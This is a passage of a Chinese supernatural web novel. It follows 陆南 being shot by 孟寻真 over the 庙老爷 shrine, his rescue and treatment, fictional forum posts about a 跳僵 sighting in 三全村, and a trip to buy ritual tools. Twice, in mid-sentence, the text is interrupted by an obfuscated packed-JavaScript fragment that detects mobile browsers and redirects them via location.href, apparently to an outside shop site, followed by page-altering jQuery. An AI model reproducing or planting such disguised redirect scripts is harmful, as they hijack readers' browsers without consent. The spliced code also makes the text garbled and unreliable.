庙老爷对着陆南点点头,接着化作一阵雾一样的东西,缓缓涌进了庙里。 陆南对徐歌说道:“自行车上应该还有剩下的红布,你去把它拿上来,用来垫这个小庙。” “好!”徐歌干脆地答应下来,顺着楼梯下了楼。一楼那道红光也已经消失了,看来一切似乎已经尘埃落定,徐歌找到自行车,从筐子里找到了剩下的红布。 二楼,陆南拿起小庙,准备把它带到相对隐蔽的地方。 砰——! 一声枪响在二楼炸开,巨大的冲击力钻进陆南的右肩,他的手一松,小庙就掉在了地上。 砰砰——! 又是两声枪响,逼迫着陆南往后退去。 陆南感觉一股热流流到了胳膊上,侧头看去,血液正从肩膀上的枪孔中汩汩流出,紧接着一股灼烧感飞速地从肩膀扩散,陆南一边用手按着伤口,一边盯着枪声响起的地方。 二楼光线昏暗,但陆南已经猜出了对方的身份。这个人曾说过自己在很久之前就见过庙老爷,却将线索紧紧捂在自己手里。 “不用藏了,孟寻真小姐。”陆南冷冷地说道。 一声轻笑过后,一道身影施施然走近,正是身着一袭红裙的孟寻真。 她用枪口指着陆南,尾音仍旧娇俏地上扬:“真是辛苦你啦,小帅哥~” 一周前,孟寻真关注了陆南的长声,充当了主要的联系人,如果他们来舞厅,肯定会优先联系自己,这样一来她就能够掌握二人行动准确时间,然后紧随其后进入舞厅。 孟寻真的另一只手里夹着一张黑符,走近后弯腰把它贴在了小庙上,这样一来,庙老爷就被封在了里面。 “你想干什么?” 孟寻真拿起小庙,看起来心情不错:“显而易见~我要带走庙老爷。” 就算是陆南也想过拉庙老爷入伍,所以其他别有用心的自然不肯放过这样一个仙家。与正神不同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16664077|187291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,招财进宝寻医问药甚至是咒杀敌人,都可以通过与地方仙交易的手段达成。 陆南忍着撕裂般的疼痛道:“……庙老爷是有自己的原则的仙家,就算,你现在封住祂,后面祂也不会为你所用……” “这就不用你操心了,你还是多想想怎么活着离开这里吧,”孟寻真用枪指着半身被血浸湿的陆南,抱着小庙缓缓退往楼梯口,“第一枪我原本瞄准的是你的心脏,要不是庙老爷帮了你一把,你现在就是一具不会开口的尸体了。” 陆南对她的话置若罔闻:“你应该听到了,徐歌就在楼下……你走不掉的。” 孟寻真轻笑道:“那就看看她能不能打过我的枪吧,再见了~” 说完孟寻真便要转身下楼。 …… “往哪儿看呢!!!” 徐歌的喊声伴着玻璃的爆裂声在孟寻真身后炸开,她只来得及惊异地回头,就被破窗而来的徐歌一脚踹下了楼梯。 孟寻真怀里的小庙滚落到楼梯口,被徐歌捡了回去。 徐歌一手抱着小庙,又跑到陆南身旁一手扶起了他。 “符咒先不要碰……等我回去解……”陆南对徐歌说道。 孟寻真从楼梯下面站起身,她刚刚挨了那一脚差点没缓过气来,不过好险手枪一直被她握在手上。就差一步,就一步,自己只是想干成这么一件事,难道就要这样功亏一篑!! 这个徐歌是怎么做到的?刚刚的一脚是得有多大的力气?! 是她轻了敌,她早就应该想到干这行的不能用常理来揣测。 孟寻真忍着疼痛重新爬上了楼梯,仿佛是为了发泄怒气般接二连三地扣动了扳机。 砰! 砰! 砰! 徐歌拖着陆南跑到窗边,二楼的东西散乱地堆叠着,二人凭借地形堪堪躲过了子弹,但孟寻真从楼梯口一点点逼近,两人还是没了退路。 就在此时,楼下传来了熟悉的声音: “大师!!快!跳下来!!” 徐歌低头一看,是秦一逍开着一辆敞篷跑车停在了楼下。 原本秦一逍是想偷偷跟过来看他们捉鬼的,这样大好的机会,秦一逍这个熊孩子自然不会错过。但他还没停下车就听见舞厅里传来了枪声,于是他将车开到了这扇被徐歌撞破的窗户下面,就发生了刚才的那一幕。 徐歌抡起一旁的沙发朝孟寻真砸去,趁着后者分心的时候,徐歌帮着陆南从窗户跳了下去。 陆南血呼刺啦地倒在后座,只有副驾驶的位置还空着。徐歌抱着小庙用另一只手把住了窗框,瞅准方位纵身一跃。 可能是窗框老化,也可能是诸事禁行的预言又在她身上应验,在徐歌荡出去的瞬间居然把窗框扯了下来。于是她径直落到了地上,摔得痛叫了一声。 孟寻真从窗户探出身来,对着徐歌就扣动了扳机! 砰——! 但就在子弹即将命中徐歌的时候,一阵强风自小庙里刮出来,把子弹反着吹了回去! 趁着孟寻真蹲下身子躲避子弹,徐歌飞快地在地上滚了两圈儿,把窗框一扔,敏捷地跳进了秦一逍的副驾。 孟寻真再次从窗户探出上半身,朝着车的方向开枪,但是她瞄准的速度终究跟不上车行驶的速度,秦一逍一脚油门踩到底,带着二人飞快地驶离了舞厅。 行驶途中,徐歌将小庙放在副驾驶,自己则抓着椅子翻身跃到了后排,然后脱下自己的外套压在了陆南冒血的肩膀上。 由于流了很多的血,陆南整个人的脸色都白得吓人,但还是清醒着没有失去意识。 秦一逍一边开车一边焦急地问道:“我们去哪儿?去医院吗?” “去后勤部。”陆南有气无力地回答道。 组织里的人好像有医生,但那玩意儿不是法医吗? 算了,既然陆南都这么说了——徐歌探身对秦一逍道:“我给你指路,前面右转!” 17.庙老爷 11 很快,秦一逍开车来到了那扇不起眼的木门前。 天色很黑,有一点火星忽明忽灭地飘在门前。难道又倒霉到在这个时候遇上鬼了?徐歌不禁紧张起来。 但是突然,那点火星率先开口了:“来了?进来吧。”这个声音有些嘶哑,徐歌下车靠近辨认,发现是后勤部的方冉双正坐在门口吸烟,那个火星正是她点燃的烟头。 徐歌见状松了一口气,回头把陆南扶下了车。 方冉双起身把门推开,拉开灯,把烟摁灭在了桌子上,头也不回地对徐歌说道:“把他扶到地下室去。” “那我呢?有什么我能帮上忙的地方吗?”秦一逍举手问道。 方冉双皱眉瞥了秦一逍一眼:“你在这儿等着,哪里也不许去。” “哦……” 打开地下室的门,寒气裹着消毒水味扑面而来。惨白的灯光下,好几张床整齐地排列着,上面的的确确躺着人,但是是一张白布从头盖到脚的人。 这怎么是停尸间啊?! 方冉双让陆南躺到床上,接着从一旁端出了手术用具,在陆南临近的床位上,正好躺着一具白布覆盖着的尸体。 徐歌在一旁胆战心惊地看着,她记得碧稞青跟自己提过,方冉双是研究尸体的,类似于法医一样的东西,她不会要把陆南当尸体解剖了吧?——应该不会,毕竟陆南现在还在喘气,明显不是个尸体。 看着方冉双利落地清创、缝合、包扎,徐歌才松了一口气:“伤得重吗?要手术吗?” “威力这么大,像是自己改装的枪,”方冉双手下不停,“子弹从肩膀进入,把锁骨也震碎了,但好歹不是致命伤,养几天就好了。” “骨头碎了怎么可能养几天就好?”徐歌问道,伤筋动骨都要一百天。 “能好,有碧稞青的特效药。”方冉双拿出一贴类似于膏药的东西,把它贴在了陆南的伤口附近。 “行了,出去吧,让他睡一觉。” 在这里和尸体睡一起?徐歌瞥了眼旁边白布盖着的隆起。 方冉双好像猜到了徐歌在想什么:“这里都是正规尸体,又不会突然尸变,而且我都是睡在这里。” 徐歌不可思议地看了方冉双一眼,嘴角抽搐了两下,每天和这玩意儿睡在一起?这只能证明你也很恐怖啊。 “谁受了伤也会在这里凑合一下,习惯了就行,你后面也会在这里过夜的。” “那我还是尽量不受伤吧……”徐歌扯了扯嘴角,不管怎么说,睡在尸体旁还是有点猎奇。 听方冉双的意思,组织里的成员似乎经常这样,她稍微放了点心,最后看了一眼床上不知道是晕过去还是睡过去的陆南,跟着方冉双回到了一楼。 秦一逍见到她们,先是问了问陆南的情况,确定没有大碍后松了口气,紧接着便询问方冉双这里是怎么招人的。 方冉双抬了抬眼皮,从上到下把秦一逍扫了一遍,问道:“怎么?你想加入?” 秦一逍有些不自在地挠了挠头:“我一直对这些东西很感兴趣……所以……” “我劝你趁早放弃。”方冉双摆了摆手,斩钉截铁地打断了秦一逍的话。 “诶?可是为什么?” 方冉双推了推鼻梁上的眼镜,叹了口气,道:“研究我们这东西的,一般有四种人。” 方冉双指了指自己:“一种是六亲缘浅的。” 然后朝下指了指地下室的陆南,又指了指徐歌:“一种是因果缠身的。” “还有一种是精神不正常的。”方冉双没再去指,但是说话的语气中透露出些许嫌弃,徐歌觉得她大概率说的是吴关。 方冉双又指了指秦一逍:“最后一种,就是富贵闲散人——这里前三种人都收,但是唯独不收你这种富贵闲散人。” “我不太明白……”秦一逍不死心地继续追问。 “原因就是,你这类人,和其他人的羁绊太重,牵挂太多,和我们这些人死了算是各得其所,”方冉双说着,神情闪过一丝落寞,“而你更应该去享受你的人生,不应该掺和进这种东西里。” “可是……”秦一逍张口待说什么,门口突然进来一个人,打断了他的话。 是吴关,他的手上还拿着那个贴着黑符的庙。 “呦,看来人接到了?”吴关对方冉双说道。 “啧,不是你让我在门口接的人吗?学算命算得精神错乱了?”方冉双不耐烦地说道。 吴关不气反笑:“我说了我不是精神错乱,这是天机不可泄露。” 然后他看向徐歌:“恭喜啦,考核顺利完成,虽然弄得血呼刺啦的,但是好歹活着回来了。” 徐歌叹了口气:“我属实是没想到后面会突然跑出个孟寻真来,还开枪打了陆南,要不是秦一逍接应,搞不好我俩都回不来了。” 方冉双在旁边插了一嘴:“回不来是不至于,陆南没你想的那么弱。” 说来也是,陆南让自己下楼去拿红布的行为,如今想来,更像是故意支开她从而避免两个人同时被孟寻真控制的场面——就像是他早就猜到了孟寻真会出现一样。 但是为什么不提前和自己商量,那样说不定就不用挨这一枪了,因为不确定孟寻真到底会不会真的出现? 徐歌愣神的功夫,看见吴关刷地将黑符直接扯了下来。 “我靠等等啊!陆南说这个不能随便揭!”徐歌出声制止,但是明显已经太晚了。 然后,什么事也没有发生。 “是不能随便揭,揭了会折寿。” “你知道你还揭什么啊?” “因为我很厉害。” “哦,那你揭就揭了吧。” 吴关将那张黑色符咒折了折,收进了口袋。 “不销毁吗?这可是黑符,这么邪门的东西。”方冉双问道。 黑符邪门?徐歌记得遇上纸人的那晚,陆南用的也是黑符。 “暂时不用,我需要找一找,那个,叫什么来着,孟寻真,是从哪里弄来的这玩意儿。”吴关说完后,把小庙塞到了秦一逍怀里。 “啊?这个?给我吗?”秦一逍没明白。 吴关挑了挑眉:“这不是你的东西吗?” “不是啊,这是徐歌他们带出来的……”秦一逍抱着那个庙不知道怎么样才好。 “哦,那送你了,带回家去吧,”吴关无所谓地说道,“反正早晚都是你的东西。” 秦一逍此时也怀疑这人精神有问题了:“我都不知道这是什么呀?” 徐歌隐约弄懂了吴关的意思,他应该是算出了什么,于是她接过话茬回答道:“是庙老爷,你爷爷经常跟你讲的那个仙家。” “啊?祂,我爷爷讲的是真的??” 徐歌道:“对,而且与帖子上讲的故事不一样,庙老爷是个良善的仙家。” “居然是这样……!”秦一逍肉眼可见地兴奋起来,“我一定好好供奉祂!” 吴关拿出一百块的现金递给徐歌:“这次任务的报酬,组织会从委托人给的钱里抽成百分之十,剩下的钱就都是你们的。” 这还是徐歌第一次见一整张百元大钞,这张钱很新,拿在手里发脆。 “行了,这都半夜两点多了,我走了。”吴关撂下一句话就转身离开了。 吴关的离开提醒了秦一逍,“两点多了?!我也得赶紧回家,被我爸发现了我就死定了!”秦一逍急匆匆地抱着小庙就要离开。 徐歌朝秦一逍喊道:“等等,我们把你的车弄成那样,怎么赔偿你?” “这多大点事儿啊?我回去换一辆不就行了?”秦一逍坐上驾驶座,一溜烟就开远了,只留下一句:“大师再见!!” 有钱真好啊…… …… “你不知道吗?他是阴童子投胎,来索命的。” “怪不得家里人不要他了,换我我也不敢养。” 陆南走在街上,常听有人这么说自己,三四岁的时候,家里去了一个算命的,指着他说是阴童子转世,母亲怕得不行,塞给他几个馒头带着他出去玩,趁着人多把他丢在了外面,从此陆南再也没有找到回家的路。 “大黑,咬他!咬坏蛋!” 黑狗扑到陆南身上,撕咬着他的胳膊,陆南没有想过索任何人的命,他不明白为什么那些人因为别人的一句话就要这样对他。 “大黑咬得好!为民除害!” 陆南翻身骑到狗的身上,用木棍卡住狗嘴,然后他张开嘴往死里咬狗的喉咙。陆南觉得嘴里又咸又黏,他想起自己被抛弃的那一天,母亲拿着一根铁锄头,她手上铁锈的味道和这个很像。几口之后,陆南竟活活把那只狗咬死了。 狗主人是个比他大不了几岁的孩子,他看着陆南满脸狗血朝着这边走过来,被吓得鬼哭狼嚎地跑走了。后来陆南呕吐起来,但他感觉嘴里的血和狗毛怎么也吐不干净。 血淋淋的手,一只又一只,攀上他的身体,将他往混沌里拖去。 …… 陆南睁开眼,发现自己躺在地下室的床上,旁边是一具盖着白布的尸体。 肩膀处隐隐的痛觉把陆南从梦里扯了出来,他坐起来把肩膀上的药扯了下来,上面有一些干涸的血迹,还有一些未被吸收的胶质。这些胶质总是会让陆南怀疑这副药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16666975|187291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不是以土太岁为原料制成的。 他不是很喜欢长时间接触这些药,总觉得有些怪异——但也没资格这么觉得吧,毕竟自己用黑符都用的那么理所应当,或许自己真的是那索命的邪祟转世呢? 说起黑符,陆南想起昨晚上孟寻真也是用黑符封住的庙老爷,那张黑符的来历很值得注意。陆南看了看昨天的衣服,上面的血硬邦邦的结了块,已经没办法穿了,他就在停尸间随便找了一件相对干净的衣服穿上,打开门走了出去。 看起来已经临近中午了,徐歌正躺在门口的沙发上像是睡着了,对面的方冉双注意到他后站起身走了过来。 方冉双的黑眼圈很重,像是一夜没合眼:“感觉怎么样了?” “已经好得差不多了,”陆南说道,“辛苦你了。” “我的工作而已,不过你怎么把你旁边床位上那人的衣服穿出来了?”方冉双说道,“算了,你不嫌晦气就行,反正那人也不可能再活过来跟你抢。” 徐歌听到两人的谈话声睁开眼睛,她从沙发上爬起来,她看见陆南正和方冉双说着话,他的脸上也已经恢复了血色。 不管是伤寒感冒还是跌打损伤,陆南得了什么病受了什么伤都很难好,昨晚徐歌重复做着陆南好不了的梦,醒来看见他能说能笑地站在那里,瞬间觉得不真实起来。 徐歌朝着陆南走过去“……真的一晚上就好了?那可是结结实实地挨了一枪啊?特效药这么厉害?” “再厉害那也只是一副药,一周内还是别进行高强度活动比较好,”方冉双打了个哈欠,“我下去补个觉,你们自便吧。” 徐歌看着方冉双就顺着楼梯走了下去,对着陆南问道:“她一直住在停尸间吗?连员工宿舍都不住?”徐歌记得昨天方冉双说自己是“六亲缘浅”的人,顾名思义就是和亲戚朋友的羁绊都不深。 “是啊,”陆南走到沙发边坐下,“据说是为了工作方便。” 那简直是工作狂级别的…… “说起来,关于你的考核结果,吴关有联系你吗?”陆南问道。 “你倒是提醒我了。”徐歌拿出手机打开了长声,【与你无关】给她发来了私信: 【与你无关】:“经过一番考量,最终决定把你分去‘赶尸人’部门,赶尸人缺人手,本来规划的培训就安插进下一次任务里吧,一边实践一边学习嘛。”–今天 2∶21 【与你无关】:“知道三全村吗?前天有村民在三全村目击到了跳僵,这两天你就赶过去处理吧。”-今天7∶36 【与你无关】:“到时候会有另一个赶尸人去接应你,他会教你对付跳僵的本事。”–今天7∶37 【与你无关】∶你在路上也留意一下黑符的线索。–今天8∶03 被分配到赶尸人部门算在徐歌的预料之中,毕竟吴关提起过自己更适合修习体术,赶尸人这种需要和跳僵实打实肉搏的部门的确更适合她。 【八方来财】:好,我明天就出发去三全村。–今天11∶46 不过和凶宅试睡员比起来,怨魂和跳僵,哪个更危险一点? 一个是有魂无身,一个是有身无魂……领域不一样果然没办法比较。 “赶尸人具体是干些什么呢?”徐歌关上手机,询问道。 “赶尸人的工作一般分为两种,”陆南说道,“一种是字面上的赶尸,就是把跳僵赶回原本的地方;还有一种就是直接去除掉为祸一方的跳僵。这次安排给你的任务就是第二种。” 陆南继续说道:“三全村,我们得搭火车过去,一天的时间就能赶到。” “方冉双刚刚还说这一周都不让你打架,听医生的话你别去了。” “可是她研究的是尸体,不算医生。”陆南这时候开始耍无赖。 “你还是研究怨魂的呢,跟着去赶尸?”徐歌心道你再找理由我也不可能让你跟着。 …… 陆南和徐歌又来到了焦点舞厅门前,昨天他们逃命没顾得上自行车,这趟过来主要是把自行车推回去。 令两人意外的是,仅仅过了大半天时间,舞厅居然重新开业了——甚至昨晚上被徐歌撞碎的窗户都换上了新的。舞厅里人来人往的样子甚至让他们觉得昨晚上发生的打斗像是一场幻觉。 万幸的是自行车还停在原来的地方,没有被处理掉,徐歌蹬上自行车,不禁好奇昨晚上大闹一场的孟寻真如今的去向。 方冉双已经把昨晚的事告诉了陆南,没想到兜兜转转,庙老爷还是回到了那个家——不知道秦川发现后会作何反应。 陆南坐在自行车后座,拿出手机打开了长声。 18.庙老爷 12 <欢迎使用长声> <天长地久有时尽,此声绵绵无绝期> <如有问题可联系长声负责人> <> 负责人2:赵不见> 〖恒盛市高温预警〗发帖人∶【小萍果】 入夏后第一股热流即将到达恒盛市,届时温度极有可能到达40度!小萍果在这里提醒大家一定要注意避暑!–今天8∶00 <评论区> 【嘚周扒鸡】:我的天呐,40度,这要把人当扒鸡烤吗?–今天8∶06 【深海小鱼】:大家天热了一定要好好吃饭呀!–今天8∶07 …… 〖造物神尊庙会即将在永政举办〗发帖人:【小萍果】–今天9:00 万物为身,心生日月。又到了祭祀元一统造神尊的庙会举行的日子,高温天气,大家前往永政的途中不要忘记避暑。 …… 〖焦点舞厅恢复营业〗发帖人:【大慈悲】 焦点舞厅从今天开始就恢复营业了,这一切都离不开诸位的支持!–今天3∶02 <评论区> 【老张爱跳舞】:这下总算是没问题了吧?一个多周没跳舞可憋死我了!–今天6∶32 【西西】:为什么席兰辞职了?–今天6∶33 【等风】:真真为什么突然就离开了?!!是不是你们剥削她了?!–今天7∶02 …… 〖各位再见〗发帖人:【席兰】 本账户将于今日注销,一直以来承蒙厚爱,由于工作的变动和家庭的原因,我决定注销【席兰】这个账号,并且离开焦点舞厅。 再次对大家的喜爱说声感谢,大家各自安好,有缘再见。–今天5∶08 <评论区> 【等风】:天呐好突然!到底是发生什么了,我那么喜欢你,你不能走啊!–今天5∶10 【丢丢】回复【等风】:真是搞不懂你们这群脑残粉,肯定是被舞厅老板玩腻了抛弃了呗。–今天5∶12 【等风】回复【丢丢】:怎么哪儿都有你?–今天5∶13 【田野】:我们尊重你的决定,祝你前途璀璨!–今天7∶02 【温暖】∶发生这样的事我很遗憾……但还是祝你能有更好的生活。–今天7∶14 【清醒】:这么多粉丝的账号,注销了很可惜的。–今天7∶14 【社火】∶为什么?–今天7∶15 …… <赵不见:由于帖主账号已注销,往后本帖不可回复^_^> <私信> 【黑蔷薇少女】∶南哥!听方姐说你又受伤了,没事吧?我这里还有一些特效药,你要的话尽管来拿哦!–今天6∶32 【文鸟】∶我已经没事了,说起来你再给我两片特效药应急用吧,之前的也确实用完了。–今天11∶26 【黑蔷薇少女】∶没问题!明天你来拿!–今天11∶26 【黑蔷薇少女】∶不过,“是药三分毒”,大家都得注意少受伤才行,尤其是南哥!–今天11∶27 【文鸟】∶那我明天去拿,多谢你了。–今天11∶28 …… 【噼里啪啦小老虎】∶陆南大师!你怎么样了!(?﹏?)–今天7∶01 【噼里啪啦小老虎】∶我把庙老爷藏到我楼上的房间了,但是我爸还是发现了……–今天7∶05 【噼里啪啦小老虎】∶为什么我干什么事情都会被我爸发现啊,是不是家里装监控了啊……–今天7∶06 【噼里啪啦小老虎】∶但是我爸这次没有骂我,而且他还给庙老爷上了香。你们对我爸说什么了呀?他之前那么禁止我搞这些……–今天7∶06 【噼里啪啦小老虎】∶不对不对,我又光顾着说我自己了,你千万不要有事啊……(╥_╥)–今天7∶07 【文鸟】∶我没事了,你们只需要定时给庙老爷以及给他找个安静的地方就行了。–今天11∶30 …… 【席兰】:有时间出来吃个饭吗~?–3天前5∶28 【文鸟】:你如果有什么问题,发信息问我就好。–3天前22∶04 【席兰】:哎呀,我对长得好看的人一向比较有好感,恕我冒昧啦。–3天前22∶12 【席兰】∶小帅哥会用什么法术呀?真的可以制服舞厅里的东西吗?那东西可以听懂我讲话吗?–前天4∶17 【文鸟】:目前不确定那东西是不是怨魂,如果是怨魂的话,一般人没办法沟通。–前天15∶25 【席兰】:不一定是怨魂?那还能是什么呢?神仙吗?–前天21∶56 【席兰】:如果真的是神仙……–前天22∶47 …… 回到帖子广场,陆南开始翻找有关三全村跳僵的帖子。 〖惊!!三全村出现僵尸?!〗发帖人∶【天黑黑】–昨天8∶01 有三全村居民称,昨天夜里在自家后山上亲眼看见了僵尸,还差点被其袭击,接下来请看对当事人的采访∶ 当事人:“吓死我了!昨天夜里我寻思出去解手,眼瞅见有个东西从厕所墙后面闪了过去,我当时就听见噗恰一声,我以为是小偷,摸到这儿来了,于是悄咪咪地去看,结果就看见一个人直直地杵在墙后面,两只胳膊一直往前伸着,我以为他梦游呢! 都说是不能叫醒梦游的人,我就没喊他,寻思悄咪咪地解完手就回去睡觉,但是他突然发现了我一样,突然转过身来,咚咚地往这边跳!关键是他一跳得有三四米远!我这才反应过来这玩意儿是跳僵啊! 我裤腰带都顾不上系,连滚带爬就往回跑!我关好了大门,回到屋里趴在门缝里哆嗦着往外瞅,院子里空空荡荡什么也没有,正当我松一口气的时候,那玩意儿直接从墙上跳到了我家院子里!! 真是吓死我了!多亏了娘娘保佑,跳僵才没有破门进来! 后来,跳僵就从我家院子里跳出去了,那三四米高的墙,它一蹦就过去了!现在想想我那时候要是上去和它搭腔,保准死无全尸啊!看看,看看!我鸡皮疙瘩都起来了啊!” <评论区> 【日升日落】:我的妈呀,我刚打算回村里探亲呢!这下可不敢去了……–昨天8∶16 【温暖】回复【日升日落】:等其他人处理好了这事儿你再回去吧,太危险了,吓死人了!–昨天8∶37 【孤岛】:三全村的居民一定注意安全啊,如果被跳僵咬到,也是会变成跳僵的。–昨天8∶40 【日升日落】回复【温暖】:嗯嗯!我一时半会儿绝对不去三全村了!–昨天9∶03 【孔武有力】:我爹打电话告诉我说,村里已经有小孩儿失踪了……–昨天9∶02 【 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【泥蝶】:我就说是假的!–今天10:03 …… 〖胡得禄洗发水堂堂登场!〗发帖人:【胡得禄】–今天11∶00 一梳扫尽半生雪,半瓶藏住旧春光!胡德禄洗发水,让你的头发永葆青春! …… 〖红白烛〗发帖人:【夜话】–三年前9:31 红色蜡烛给活人,白色蜡烛给死人。 最初的最初,三全村原名“三泉村”。 三股泉水在村口汇成一口水潭,潭里生活着一只老龟。那时的三全村风调雨顺,五谷丰登。 男人的老婆怀胎九月,很快就要生了,但最近身体一直不好,急需补身子,于是他盯上了村口泉水里的那只老龟。 他把老龟炖成了汤,喂给了自己的老婆,没想到却因此造了孽。 等到生产那天,老婆却难产死了,生下来的孩子不仅智力低下,而且手又小又短,指间被蹼连在一起,握不住任何的农具,连下地也做不到。 不仅如此,从那天开始,三全村再没下过一场雨,村里的中年人都陆陆续续地得了偏瘫,生下来的孩子要么是死胎要么会离奇地猝死,全村只剩下原本的零零散散的青年人,仿佛整个村子的运势都被那男人用一锅汤炖掉了。 那天,男人死在了早已干涸的潭子里,他的手上还攥着一支燃烧着的白色蜡烛。村民捧着红蜡烛,挂在每家每户的门口,他们请来了一个新的仙家——烛花娘娘。 自那以后,三泉村改名“三全村”,意为“福禄寿”三全。 评论区>私信>赵不见:由于帖主账号已注销,往后本帖不可回复^_^>评论区>评论区>评论区>如有问题可联系长声负责人>天长地久有时尽,此声绵绵无绝期>欢迎使用长声> 19.山村跳僵 1 “前面路口右拐,先不回宿舍,”陆南收起手机,对前座的徐歌说道,“带你去挑几件趁手的法器。” “好!”想到即将拥有属于自己的法器,徐歌心下雀跃,车把一转,拐进一条狭仄的巷子。 巷道越走越逼仄,石板路面坑洼,自行车已无法通行。徐歌在墙根支好车,跟着陆南深入巷子。尽头处,一块斑驳的“同旺古董店”招牌悬在门楣。 陆南用手叩住门环,按照三下,一下,八下的节奏扣响了门板。 很快,一个瘦小的男人给二人打开了门。 “哎呦,陆南啊,”男人一边把他们引进院子里一边问候道,“这次来想买点什么?” 院子面积很大,道路两侧整齐地摆放着各种各样的摊位,看起来像是个专门卖法器的集市。 陆南笑着指了指徐歌∶“这次主要是给她买一些对付跳僵的东西。” “呦!这位是——?”男人眨眨眼睛问道。 “我的朋友。”陆南回答道 “你好,我叫徐歌。”徐歌和男人握了握手。 男人用热情又老成的眼神迅速打量了一下徐歌:“我叫周全,你朋友陆南就是从我这里买货!你具体想要啥?” 可是徐歌不知道应该买什么法器,对付跳僵的话,符咒应该是需要吧?但符咒可以从陆南那里拿。铃铛?之前看到小人书上赶尸的都是在前面晃着个铃铛,但是书上讲的也不一定都准…… “周老板有什么推荐吗?”徐歌干脆让周全给自己介绍几个,免得自己什么也不懂买些没用的回去。 “嗳,我就是组织起这些摊子,摊主平时不出面,我也就在这里帮他们卖卖,可担不起老板这名头,叫我全叔就行了,”周全道,“我瞧你是生面孔,应该是刚接触这方面吧?对付跳僵,你首先得有法铃和钢刀。” 周全说着带二人来到了一个地摊摊位,摊上摆着形色各异的钢刀。 周全从其中挑了一把最小的钢刀递到徐歌面前:“试试这个趁手不?其他的那些又大又笨重,你一小姑娘也不好抡动。” 徐歌接过钢刀在手里掂了掂:“不同重量的效果有区别吗?” “刀身大的那些,对跳僵的杀伤力会更高一点。”陆南在一旁回答道,他闲暇时间对跳僵也有一些研究,只是在周全这样的法器行家面前没打算班门弄斧。 “那我还是要个正常尺寸的吧,”徐歌瞅准一把正常大小的钢刀,把它握在手里转了两圈,“全叔不用担心我拿不动。” 周全笑道:“也是,能对付跳僵的肯定有点本事!——这把刀仿的是唐横刀的形制,刀刃利着嘞!” 这把钢刀的刀格上还装有三个可以拆卸的铁环,周全讲解说这些铁环碰撞发出的声音可以震慑邪祟。 讲解完后,周全看徐歌对这把刀挺中意,于是打开手机拨通了电话:“嗳老张,你这里的钢刀被我一朋友看上了,咋卖?” “六块钱?不不不,你这不亏本了吗?”周全和电话里的摊主说着,“哎呦还是你给我面子!” 完事儿后,周全将手机一关:“图个吉利,六块卖了!” 太好了,六块钱就能买到,一百的工资还剩下九十四——简直像是折本卖的。徐歌马上就掏了钱。 周全将钱收下后又带二人进到了屋里,他拿起架子上的一个铃铛递给徐歌:“来,再就是这个法铃,如果是赶尸,必须得摇这个铃铛。” “只是这个摊主从不议价,黄铜的铃铛,一口价八十,再送一盅朱砂。” 徐歌瞪大了眼睛:“八十?!”这下她可是切身体会到为什么陆南没有攒下多少钱了。 陆南接过铃铛,指尖摩挲着上面深刻的符文,道:“这刻的是哪尊神?” 周全凑过来瞥了一眼:“嗨,混溟玄空神尊。咱这行的家伙事儿,用主神的尊名镇怨气才更能镇得住。”紧接着他话锋一转,把铃铛往徐歌面前又递了半分,压低了点声音,仿佛在分享一个秘密:“姑娘,别看价高,刻了主神尊名的都是上等法器。你摇一下,听听这声儿——带着灵气呢,值这个价。” 徐歌看向陆南,后者对她点点头表示这个法铃确实值得买,然后才肉疼地掏了钱。 “徐歌妹子是个过日子的人!,只不过八十块钱买到的法器,在我这儿真是算便宜的了,”周全一边说着一边拿出了一蛊朱砂递给徐歌,“你身上带着的这个山鬼花钱,可远不止这个价呀,这种好东西,你是去哪里整的?说真的,我都想出钱买下来。” 听他这么说,这个山鬼花钱大有用处?这么珍贵的东西居然就被陆南随便当个护身符送给自己了? 后面陆南又花了五十买了两枚铜钱和几摞黄纸,走之前,徐歌还看了看其他的摊位,不少的法器自己更是见也没见过,周全说每个术士都有自己擅长的领域和趁手的法器。 “那你最趁手什么?”徐歌问陆南。 周全抢着回答道:“陆南用的那一手符棍可谓是炉火纯青呐!” “三脚猫功夫而已,”陆南笑道,“多亏了小时候在家里学过。” 陆南从小就擅长用棍棒,学的也是徐歌的父亲教授的挂门棍法,学成后的武力值是十分可观的,只是谁也没想到这保家护院的棍法后面会用来打鬼就是了…… “时候不早了,全叔,我们就先告辞了。”陆南道,“祝你生意兴隆。” “行!”周全把二人送出了门,“不用跟我客气,记得下次再来!” 在周全“下次一定再来”的招呼声中,二人离开小巷骑上车,一路回到了员工宿舍。 徐歌回到502,把钢刀和法铃放到桌子上,那盅朱砂被陆南要走了,说是写符咒用,反正自己目前的灵力还不够写符咒,所以干脆就都给了陆南。 徐歌从抽屉里扒拉出一张纸,趴在桌子上开始龙飞凤舞地给家里写信。 爸妈: 我顺利和陆南碰面了,虽然过程和想象中的不太一样,但是最终成功在恒盛市住下了,还找到了一份和陆南一样的工作,能挣不少钱呢! 陆南就住在我对门,这么多年没见他,他个子真是窜了很多,人也更可靠了,就是以后也没办法笑话他比我矮了。 总之你们不用记挂了! ——你们的女儿,徐歌 写完后,徐歌将信纸叠了两下塞到信封里,随后往里面塞了十块钱,又在右上角贴好邮票写好地址,准备明天去车站的时候顺便把信和钱寄出去。 …… 第二天,徐歌在邮局寄完信,跟着陆南来到了旁边的火车站。 白天 